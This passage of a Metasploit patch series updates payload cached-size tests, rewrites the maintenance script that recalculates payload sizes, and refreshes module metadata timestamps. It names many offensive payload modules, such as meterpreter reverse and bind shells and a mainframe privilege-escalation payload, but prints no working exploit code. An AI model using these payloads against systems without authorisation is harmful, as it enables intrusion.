                             'singles/linux/mipsle/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/meterpreter_reverse_tcp'
   end
@@ -6521,7 +5965,6 @@
                             'stagers/linux/x64/bind_tcp',
                             'stages/linux/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/meterpreter/bind_tcp'
   end
@@ -6532,7 +5975,6 @@
                             'stagers/linux/x64/reverse_tcp',
                             'stages/linux/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/meterpreter/reverse_tcp'
   end
@@ -6542,7 +5984,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/meterpreter_reverse_tcp'
   end
@@ -6553,7 +5994,6 @@
                             'stagers/linux/x86/bind_ipv6_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp'
   end
@@ -6564,7 +6004,6 @@
                             'stagers/linux/x86/bind_ipv6_tcp_uuid',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp_uuid'
   end
@@ -6575,7 +6014,6 @@
                             'stagers/linux/x86/bind_nonx_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/bind_nonx_tcp'
   end
@@ -6586,7 +6024,6 @@
                             'stagers/linux/x86/bind_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/bind_tcp'
   end
@@ -6597,7 +6034,6 @@
                             'stagers/linux/x86/bind_tcp_uuid',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/bind_tcp_uuid'
   end
@@ -6608,7 +6044,6 @@
                             'stagers/linux/x86/find_tag',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/find_tag'
   end
@@ -6619,7 +6054,6 @@
                             'stagers/linux/x86/reverse_ipv6_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/reverse_ipv6_tcp'
   end
@@ -6630,7 +6064,6 @@
                             'stagers/linux/x86/reverse_nonx_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/reverse_nonx_tcp'
   end
@@ -6641,7 +6074,6 @@
                             'stagers/linux/x86/reverse_tcp',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/reverse_tcp'
   end
@@ -6652,7 +6084,6 @@
                             'stagers/linux/x86/reverse_tcp_uuid',
                             'stages/linux/x86/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter/reverse_tcp_uuid'
   end
@@ -6662,7 +6093,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x86/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter_reverse_tcp'
   end
@@ -6672,7 +6102,6 @@
                           ancestor_reference_names: [
                             'singles/linux/zarch/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/zarch/meterpreter_reverse_tcp'
   end
@@ -6682,7 +6111,6 @@
                           ancestor_reference_names: [
                             'singles/r/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'r/shell_bind_tcp'
   end
@@ -6692,7 +6120,6 @@
                           ancestor_reference_names: [
                             'singles/r/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'r/shell_reverse_tcp'
   end
diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb
index 5e2bd2f91b639..87bb489ab2ad8 100644
--- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb
+++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb
@@ -63,20 +63,16 @@
 #   single payloads, there will be one ancestor reference name from `modules/payloads/singles`, while for staged
 #   payloads there with be one ancestor reference name from `modules/payloads/stagers` and one ancestor reference name
 #   from `modules/payloads/stages`.
-# @option options [Boolean] :dynamic_size The dynamic_size flag determines whether we expect this module to generate a
-#   variable size payload or to have a valid cached_size
 # @option options [Pathname] :modules_pathname The `modules` directory from which to load `:ancestor_reference_names`.
 # @option options [String] :reference_name The reference name for payload class that should be instantiated from mixing
 #   `:ancestor_reference_names`.
 # @return [void]
 RSpec.shared_examples_for 'payload cached size is consistent' do |options|
 
-  options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name, :dynamic_size)
+  options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name)
 
   ancestor_reference_names = options.fetch(:ancestor_reference_names)
 
-  dynamic_size = options.fetch(:dynamic_size)
-
   modules_pathname = options.fetch(:modules_pathname)
   modules_path = modules_pathname.to_path
 
@@ -93,7 +89,7 @@
   context reference_name  do
     ancestor_reference_names.each do |ancestor_reference_name|
       it "can load '#{module_type}/#{ancestor_reference_name}'" do
-        @actual_ancestor_reference_name_set.add(ancestor_reference_name)
+        @actual_ancestor_reference_name_set.add(ancestor_reference_name) if @actual_ancestor_reference_name_set
 
         expect_to_load_module_ancestor(
             ancestor_reference_name: ancestor_reference_name,
@@ -114,31 +110,16 @@
 
     next if reference_name =~ /generic|peinject/
 
-    if dynamic_size
-      it 'is dynamic_size?' do
-        pinst = load_and_create_module(
-              ancestor_reference_names: ancestor_reference_names,
-              module_type: module_type,
-              modules_path: modules_path,
-              reference_name: reference_name
-        )
-        expect(pinst.cached_size).to(be_nil)
-        expect(pinst.dynamic_size?).to be(true)
-      end
-    else
-      it 'has a valid cached_size' do
-        pinst = load_and_create_module(
-              ancestor_reference_names: ancestor_reference_names,
-              module_type: module_type,
-              modules_path: modules_path,
-              reference_name: reference_name
-        )
-        expect(pinst.cached_size).to_not(be_nil)
-        expect(pinst.dynamic_size?).to be(false)
+    it 'has a valid cached_size' do
+      pinst = load_and_create_module(
+            ancestor_reference_names: ancestor_reference_names,
+            module_type: module_type,
+            modules_path: modules_path,
+            reference_name: reference_name
+      )
 
-        module_options = Msf::Util::PayloadCachedSize.module_options(pinst)
-        expect(pinst.cached_size).to eq(pinst.generate_simple(module_options).size)
-      end
+      cache_size_errors = Msf::Util::PayloadCachedSize.cache_size_errors_for(framework, pinst)
+      expect(cache_size_errors).to be_nil
     end
   end
 end
diff --git a/spec/support/shared/examples/payload_not_cached.rb b/spec/support/shared/examples/payload_not_cached.rb
index e1b805f23394e..368ca2f0f9fba 100644
--- a/spec/support/shared/examples/payload_not_cached.rb
+++ b/spec/support/shared/examples/payload_not_cached.rb
@@ -10,9 +10,9 @@
   context reference_name do
     ancestor_reference_names.each do |ancestor_reference_name|
       it "has listed ancestors '#{module_type}/#{ancestor_reference_name}'" do
-        @actual_ancestor_reference_name_set.add(ancestor_reference_name)
+        @actual_ancestor_reference_name_set.add(ancestor_reference_name) if @actual_ancestor_reference_name_set
       end
     end
-  
+
   end
 end
diff --git a/tools/modules/update_payload_cached_sizes.rb b/tools/modules/update_payload_cached_sizes.rb
index 8df4011002373..8ba549de9fd91 100755
--- a/tools/modules/update_payload_cached_sizes.rb
+++ b/tools/modules/update_payload_cached_sizes.rb
@@ -10,34 +10,124 @@
 #
 
 msfbase = __FILE__
-while File.symlink?(msfbase)
-  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
-end
+msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) while File.symlink?(msfbase)
 
-$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
+$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
 require 'msfenv'
 
-$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
+$LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 
 gem 'rex-text'
-
 require 'rex'
 
+class StatusReporter
+  CLEAR_LINE = "\r\e[2K\r".freeze
+  private_constant :CLEAR_LINE
+
+  def print_progress(s)
+    return if s.nil?
+
+    @last_progress = s
+    print CLEAR_LINE
+    print info(s)
+    $stdout.flush
+  end
+
+  def print_info(s)
+    print CLEAR_LINE
+    puts info(s)
+    print_progress(@last_progress)
+  end
+
+  def print_error(s)
+    $stderr.print CLEAR_LINE
+    $stderr.puts error(s)
+    print_progress(@last_progress)
+  end
+
+  def finish
+    print CLEAR_LINE
+    puts
+  end
+
+  private
+
+  def info(s)
+    "\e[1;36m[*]\e[0m #{s}"
+  end
+
+  def error(s)
+    "\e[1;33m[!]\e[0m #{s}"
+  end
+end
+
 # Initialize the simplified framework instance.
 framework = Msf::Simple::Framework.create('DisableDatabase' => true)
 exceptions = []
+reporter = StatusReporter.new
+current_payload = 0
+
+# Currently the cached size is stored on stagers, but multiple stages can be associated with one stager
+# Maps the stager to the available stages
+stagers_to_stages = Hash.new { |hash, key| hash[key] = [] }
+
+modules = []
 framework.payloads.each_module do |name, mod|
-  begin
-    next if name =~ /generic/
-    mod_inst = framework.payloads.create(name)
-    #mod_inst.datastore.merge!(framework.datastore)
-    next if mod_inst.is_a?(Msf::Payload::Adapter) || Msf::Util::PayloadCachedSize.is_cached_size_accurate?(mod_inst)
-    $stdout.puts "[*] Updating the CacheSize for #{mod.file_path}..."
-    Msf::Util::PayloadCachedSize.update_module_cached_size(mod_inst)
-  rescue => e
-    $stderr.puts "[!] Caught Error while updating #{name}:\n#{e}\n#{e.backtrace.map { |line| "\t#{line}" }.join("\n")}"
-    exceptions << [ e, name ]
+  modules << [name, mod]
+end
+
+total_payloads = modules.length
+modules.each do |name, mod|
+  next if name =~ /generic/
+
+  current_payload += 1
+  reporter.print_progress "Updating single (#{current_payload}/#{total_payloads}) #{name}..."
+  mod_inst = framework.payloads.create(name)
+
+  next if mod_inst.is_a?(Msf::Payload::Adapter)
+
+  mod_dependencies = mod_inst.dependencies
+  missing_dependencies = mod_dependencies.reject(&:available?)
+  if missing_dependencies.any?
+    reporter.print_error "Cannot update payload size for #{name} - missing dependencies: #{missing_dependencies.join(',')}"
+    next
   end
+
+  if mod_inst.is_a?(Msf::Payload::Stager)
+    stagers_to_stages[mod_inst.file_path] << mod_inst
+    next
+  end
+
+  current_size = mod.dynamic_size? ? ':dynamic' : mod.cached_size
+  new_size = Msf::Util::PayloadCachedSize.update_module_cached_size(framework, mod_inst)
+  if current_size != new_size
+    reporter.print_info "Single Updated: #{name} CacheSize on disk at #{mod.file_path} from #{current_size} to #{new_size}..."
+  end
+rescue StandardError => e
+  reporter.print_error "Caught Error while updating #{name}:\n#{e}\n#{e.backtrace.map { |line| "\t#{line}" }.join("\n")}"
+  exceptions << [ e, name ]
+end
+
+# Update the metadata on the stager module associated with stages
+stager_count = 0
+stagers_to_stages.each_value do |stages|
+  stager_count += 1
+  mod = stages.first
+  reporter.print_progress("Updating stager (#{stager_count}/#{stagers_to_stages.length}) #{stages.first.refname}...")
+  if mod.dynamic_size?
+    current_size = ':dynamic'
+  else
+    current_size = mod.class.const_defined?('CachedSize') ? mod.class.const_get('CachedSize') : nil
+  end
+  new_size = Msf::Util::PayloadCachedSize.update_stager_module_cached_size(framework, stages)
+  if current_size != new_size
+    reporter.print_info "Stager Updated: #{mod.refname} CacheSize on disk at #{mod.file_path} from #{current_size} to #{new_size}..."
+  end
+rescue StandardError => e
+  reporter.print_error "Caught Error while updating #{mod.refname}:\n#{e}\n#{e.backtrace.map { |line| "\t#{line}" }.join("\n")}"
+  exceptions << [ e, name ]
 end
 
+reporter.finish
+
 exit(1) unless exceptions.empty?

From bf13628b3420788445393aabcacf9d591923a281 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Tue, 17 Mar 2026 13:40:47 +0000
Subject: [PATCH 092/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 163 +++++++++++++---------------------
 1 file changed, 63 insertions(+), 100 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 2f06f37bf64b7..af26c49e581ab 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -211074,7 +211074,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb",
     "is_install_path": true,
     "ref_name": "bsd/sparc/shell_bind_tcp",
@@ -211105,7 +211105,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "bsd/sparc/shell_reverse_tcp",
@@ -224992,7 +224992,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb",
     "is_install_path": true,
     "ref_name": "cmd/mainframe/apf_privesc_jcl",
@@ -225023,7 +225023,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb",
     "is_install_path": true,
     "ref_name": "cmd/mainframe/bind_shell_jcl",
@@ -225085,7 +225085,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb",
     "is_install_path": true,
     "ref_name": "cmd/mainframe/reverse_shell_jcl",
@@ -225116,7 +225116,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2023-06-01 12:30:26 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/cmd/unix/adduser.rb",
     "is_install_path": true,
     "ref_name": "cmd/unix/adduser",
@@ -243347,43 +243347,6 @@
     "adapted_refname": "windows/x64/download_exec",
     "staged": false
   },
-  "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
-    "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
-    "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
-    "aliases": [],
-    "rank": 300,
-    "disclosure_date": null,
-    "type": "payload",
-    "author": [
-      "Spencer McIntyre",
-      "Matt Graeber",
-      "Shelby Pace"
-    ],
-    "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage",
-    "references": [],
-    "platform": "Windows",
-    "arch": "cmd",
-    "rport": null,
-    "autofilter_ports": null,
-    "autofilter_services": null,
-    "targets": null,
-    "mod_time": "2022-05-27 16:41:25 +0000",
-    "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
-    "is_install_path": true,
-    "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
-    "check": false,
-    "post_auth": false,
-    "default_credential": false,
-    "notes": {},
-    "session_types": false,
-    "needs_cleanup": false,
-    "payload_type": 8,
-    "adapter_refname": "cmd/windows/powershell/x64",
-    "adapted_refname": "windows/x64/encrypted_shell/reverse_tcp",
-    "staged": true,
-    "stage_refname": "windows/x64/encrypted_shell",
-    "stager_refname": "windows/x64/encrypted_reverse_tcp"
-  },
   "payload_cmd/windows/powershell/x64/exec": {
     "name": "Powershell Exec, Windows x64 Execute Command",
     "fullname": "payload/cmd/windows/powershell/x64/exec",
@@ -252915,7 +252878,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/java/bind_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/meterpreter/bind_tcp",
@@ -253022,7 +252985,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/java/reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/meterpreter/reverse_tcp",
@@ -253056,7 +253019,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/java/bind_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell/bind_tcp",
@@ -253090,7 +253053,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/java/reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell/reverse_tcp",
@@ -253124,7 +253087,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/java/shell_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell_reverse_tcp",
@@ -253224,7 +253187,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -253257,7 +253220,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -253680,7 +253643,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/armle/meterpreter_reverse_http",
@@ -253713,7 +253676,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/armle/meterpreter_reverse_https",
@@ -253746,7 +253709,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -253943,7 +253906,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -253976,7 +253939,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -254009,7 +253972,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -254111,7 +254074,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -254144,7 +254107,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -254177,7 +254140,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -254416,7 +254379,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -254449,7 +254412,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -254482,7 +254445,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-16 11:00:03 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -255318,7 +255281,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/x64/meterpreter_reverse_http",
@@ -255351,7 +255314,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/x64/meterpreter_reverse_https",
@@ -255384,7 +255347,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -256248,7 +256211,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/x86/meterpreter_reverse_http",
@@ -256281,7 +256244,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/x86/meterpreter_reverse_https",
@@ -256314,7 +256277,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-12-16 10:36:56 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -257005,7 +256968,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-06 14:07:29 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
     "is_install_path": true,
     "ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -257038,7 +257001,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-06 14:07:29 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
     "is_install_path": true,
     "ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -257071,7 +257034,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-06 14:07:29 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -258901,7 +258864,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-05-09 16:09:15 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/php/exec.rb",
     "is_install_path": true,
     "ref_name": "php/exec",
@@ -261018,7 +260981,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2024-10-04 10:43:40 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/python/exec.rb",
     "is_install_path": true,
     "ref_name": "python/exec",
@@ -262094,7 +262057,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-06-30 14:46:51 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/windows/aarch64/exec.rb",
     "is_install_path": true,
     "ref_name": "windows/aarch64/exec",
@@ -262530,7 +262493,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/custom/reverse_http",
@@ -262598,7 +262561,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_https.rb",
     "is_install_path": true,
     "ref_name": "windows/custom/reverse_https",
@@ -263025,7 +262988,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/custom/reverse_winhttp",
@@ -263060,7 +263023,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
     "is_install_path": true,
     "ref_name": "windows/custom/reverse_winhttps",
@@ -263481,7 +263444,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/dllinject/reverse_http",
@@ -263901,7 +263864,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
